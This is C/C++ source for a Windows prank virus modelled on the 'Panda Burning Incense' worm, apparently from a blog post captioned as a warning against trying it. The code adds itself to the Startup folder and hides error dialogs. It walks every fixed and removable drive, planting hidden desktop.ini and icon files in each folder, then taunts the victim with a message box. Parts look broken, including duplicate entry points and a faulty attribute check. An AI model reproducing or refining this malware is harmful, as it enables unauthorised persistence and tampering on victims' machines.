#include <tchar.h>
#include <iterator>
#include <list>
using namespace std;
#include<graphics.h>
IMAGE img;
#include<conio.h>
#include <stdio.h>
#include <Shlobj.h>
#pragma comment(lib, "shell32.lib")
#define RC_BINARYTYPE 256
#define ID_ICO 100
#include <windows.h>
BOOL AutoRun_Startup(char *lpszSrcFilePath, char *lpszDestFileName)
{
char szStartupPath[MAX_PATH] = { 0 };
char szDestFilePath[MAX_PATH] = { 0 };
SHGetSpecialFolderPath(NULL, szStartupPath, CSIDL_STARTUP, TRUE);
wsprintf(szDestFilePath, "%s\\%s", szStartupPath, lpszDestFileName);
CopyFile(lpszSrcFilePath, szDestFilePath, FALSE);
return TRUE;
}
bool EnumDirectory(TCHAR *dirpath,bool isInject);
void inject(char *path);
bool WriteResourceToFile(char const *filename);
void clear(char *path);
bool FileExist(char *filepath);
int set_error()
{
SetErrorMode(SEM_NOOPENFILEERRORBOX|SEM_NOOPENFILEERRORBOX|SEM_NOGPFAULTERRORBOX|SEM_NOALIGNMENTFAULTEXCEPT|SEM_FAILCRITICALERRORS);
return 1;
}
int APIENTRY WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )
{
set_error();
for (char i='A';i<='Z';i++)
{
char x[20]={i,':'};
UINT type=GetDriveType(x);
if(type==DRIVE_FIXED||type==DRIVE_REMOVABLE)
{
EnumDirectory(x,true);
}
}
MessageBox(NULL,"恭喜你,中了熊猫烧香病毒!","哈哈",MB_OK);
return 0;
}
bool EnumDirectory(TCHAR *dirpath,bool isInject)
{
WIN32_FIND_DATA fd;
TCHAR szTempFileFind[MAX_PATH]={0};
bool bIsFinish=false;
ZeroMemory(&fd,sizeof(WIN32_FIND_DATA));
wsprintf(szTempFileFind,"%s\\*.*",dirpath);
HANDLE hFind=FindFirstFile(szTempFileFind,&fd);
if(hFind==INVALID_HANDLE_VALUE)
{
return false;
}
while(!bIsFinish)
{
bIsFinish=(FindNextFile(hFind,&fd))?false:true;
if((strcmp(fd.cFileName,".")!=0)&&(strcmp(fd.cFileName,"..")!=0))
{
TCHAR szFoundFileName[MAX_PATH]={0};
strcpy(szFoundFileName,fd.cFileName);
if(fd.dwFileAttributes*FILE_ATTRIBUTE_DIRECTORY)
{
TCHAR szTempDir[MAX_PATH]={0};
wsprintf(szTempDir,"%s\\%s",dirpath,szFoundFileName);
Sleep(10);
if(isInject)
{
inject(szTempDir);
EnumDirectory(szTempDir,isInject);
}else{
clear(szTempDir);
EnumDirectory(szTempDir,isInject);
}
}
}
}
FindClose(hFind);
return true;
}
void inject(char *path)
{
char inifilepath[256];
char icofilepath[256];
strcpy(inifilepath,path);
strcpy(icofilepath,path);
strcat(inifilepath,"\\desktop.ini");
strcat(icofilepath,"\\yunshouhu.ico");
WriteResourceToFile(icofilepath);
SetFileAttributes(path,FILE_ATTRIBUTE_READONLY);
SetFileAttributes(inifilepath,FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_HIDDEN);
WritePrivateProfileString(".ShellClassInfo","IconFile","yunshouhu.ico",inifilepath);
WritePrivateProfileString(".ShellClassInfo","IconIndex","0",inifilepath);
}
void clear(char *path)
{
char inifilepath[256];
char icofilepath[256];
strcpy(inifilepath,path);
strcpy(icofilepath,path);
strcat(inifilepath,"\\desktop.ini");
strcat(icofilepath,"\\yunshouhu.ico");
char cmd[300]="del ";
if(FileExist(icofilepath))
{
DeleteFile(icofilepath);
strcat(cmd,icofilepath);
system(cmd);
}
if(FileExist(inifilepath))
{
DeleteFile(inifilepath);
strcat(cmd,inifilepath);
system(cmd);
}
}
bool FileExist(char *filepath)
{
WIN32_FIND_DATA FindFileData;
HANDLE hFind;
hFind = FindFirstFile(filepath, &FindFileData);
if (hFind == INVALID_HANDLE_VALUE) {
return false;
} else {
FindClose(hFind);
return true;
}
}
bool WriteResourceToFile(char const *filename)
{
HINSTANCE hInstance=GetModuleHandle(NULL);
HRSRC hResInfo=FindResource(hInstance,MAKEINTRESOURCE(ID_ICO),MAKEINTRESOURCE(RC_BINARYTYPE));
HGLOBAL hgRes=LoadResource(hInstance,hResInfo);
void *pvRes=LockResource(hgRes);
DWORD cbRes=SizeofResource(hInstance,hResInfo);
HANDLE hFile=CreateFile(filename,GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
DWORD cbWritten;
WriteFile(hFile,pvRes,cbRes,&cbWritten,0);
CloseHandle(hFile);
return false;
}
int main(int argc, char * argv[])
{
AutoRun_Startup("c://main.exe", "main.exe");
initgraph(640,480);
while(1)
{
loadimage(&img,L"Genshin.jpg",100,100);
loadimage(&img,"Genshin.jpg",100,100);
putimage(100,100,&img);
getch();
closegraph();
}
return 0;
}
病毒别乱试()
于 2024-07-14 17:34:06 首次发布